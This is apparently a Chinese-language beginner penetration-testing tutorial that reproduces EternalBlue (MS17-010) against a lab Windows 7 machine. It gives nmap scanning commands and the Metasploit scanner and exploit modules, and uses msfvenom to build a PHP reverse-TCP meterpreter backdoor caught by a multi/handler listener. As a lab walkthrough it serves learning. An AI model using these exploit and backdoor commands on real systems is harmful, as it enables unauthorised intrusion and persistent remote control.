渗透入门1
渗透的第一步肯定是要进行信息收集了
那么我这这里就不多写了,这篇文章写的很全了 文章
这里补充一下c段的意思 文章
这里利用Metasploit framework
来进行永恒之蓝的复现,来实现一下对这个渗透工具的认识
永恒之蓝复现
实验环境
攻击机 kali linux ,ip:172.22.81.160
靶机 :windows7 ip: 192.168.59.129
这里下的是win7的企业版
1.这里首先第一步是得进行信息收集
先扫一下端口
在kaili上使用nmap探测win7的端口信息:nmap 192.168.59.129 ,可以看到该机器已开启445端口,当然也可以查看该445端口的banner信息,命令 nmap -sV -p445 192.168.59.129
这里开启的445端口就是这个漏洞出现的关键了。
这里的nmap中 sV的意思
也就是 —> 探测开放端口以确定服务/版本信息
想要查看其他的命令的话可以nmap -h
主机名和windows版本都能成功看到了
2.使用kali自带的metasploit(msf)
如果是初次使用,先输入msfconsole进入msf,然后键入search ms17_010,查询对应的模块
第一步
第二步
这里的话永恒之蓝漏洞就是ms17_010,所以我们search他,然后出来的命令有exploit
和auxiliary
exp的话是进行漏洞利用的
aux是是进行判断漏洞是否存在的(就是个辅助工具)
3.探测是否存在永恒之蓝漏洞
可以先探测一下该系统是否存在永恒之蓝漏洞,当然也可以批量扫描C段,上面有五个模块可以选择,扫描的话使用 auxiliary/scanner/smb/smb_ms17_010,因为里面包含了scanner,键入命令 use auxiliary/scanner/smb/smb_ms17_010
查询该模块需要的参数,命令 show options,可以看到主要的参数是攻击的主机RHOSTS,设置参数:set rhosts 192.168.59.129【不分大小写】,再键入show options 即可查看是否成功赋值上,如果写错了可以选择unset rhosts来取消重新选择
这里的话是required上写的yes是必须的得添加的值
threds是线程的意思
4.使用 run 或者 exploit 命令即可成功查询,可以看到,Host is likely VULNERABLE to MS17-010!【主机可能容易受到MS17-010的攻击!】,证明可能存在永恒之蓝漏洞,下面开始利用
5.漏洞利用
那么我们就可以进行漏洞利用了,就是使用expolit
win7需要使用exploit/windows/smb/ms17_010_eternalblue
windows2003使用exploit/windows/smb/ms17_010_psexec
所以我直接use exploit/windows/smb/ms17_010_eternalblue
设置完成后,我们就可以开始run了
6.开始run
成功了,拿到meterpreter的话就是成功拿下目标机器了
我们可以输入?来查看其他命令,然后利用这些命令来进行命令执行。
输入shell的话就是可以拿到目标机器的cmd了
想对目标机器干啥就直接去看?给出的指令了。
对win7输入netstat -an指令的话,就可以看到本地的64392端口被192.168.3.110:4444监听,反弹shell成功
至此 永恒之蓝漏洞就复现成功了,那么我们对msf也有一点了解了。
nmap -sn -PE -n 172.22.81.1/24 -oX out.xml —> 这就是扫c段的
-sn 不扫描端口 -PE ICMP扫描
-n不进行dns解析 -oX 输出结果
利用Msfvenom写入后门
msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
1 | -l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all |
这里的话这些命令的话不用记得,多用几次命令就熟悉了
这里的话先查看一下哪些后门工具可以进行利用
msfvenom -l payload | grep 'windows' | awk '{print $1}'
grep —> 是linux中的文本匹配语句 这里就是输出有windows的payload
awk —>是文本打印工具 awk
就会出现一堆payload,那么我们就可以从中选一个进行利用
这里我们选一个php的payload,这里的话因为是靶机的话,然后没有一些编程语言环境的话,payload到那边是执行不了的(我们在靶机上就得构建一个phpstudy来执行这个生成的后门代码)
1 | msfvenom -p php/meterpreter_reverse_tcp lhost=172.29.76.20 lport=5555 -f raw >a.php |
成功生成了php的代码,那么我们就把生成的php代码复制到靶机上
这里话得在win7靶机上安装phpstudy和补丁 补丁是为了成功安装vmtools
好把a.php拖进去(拖到www目录下)
成功托进去
在执行a.php文件之前 我们得在kali攻击机上开启监听
使用监听模块进行监听
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
因为我们是使用php/meterpreter_reverse_tcp写的后门,那么我们监听的话还是得用它
这里的reverse_tcp
和reverse_http
的区别是,tcp能指定任意端口,http只能指定80端口
在靶机上访问a.php的时候,kali监听就拿到了meterpreter了。
上面我们使用的php是属于web的payload,那么我们也可以使用脚本payload来进行拿meterpreter
这篇文章进行了很好的补充 —-> 文章
上面是传的php代码,接下来我们来传exe文件
利用msf攻击windows 就是留下后门
这里的利用webshell的意思是当靶机存在命令执行或者远程漏洞执行漏洞时,我们可以进行利用,从而拿下靶机的控制权
这里利用的是web_delivery
这里使用的是php反弹shell脚本
和上面生成的a.php是一个意思
这里生成了一个php代码 然后我们复制之后拿去ping 当然是不能成功的,因为就是靶机没有php的环境变量,所以不能执行php代码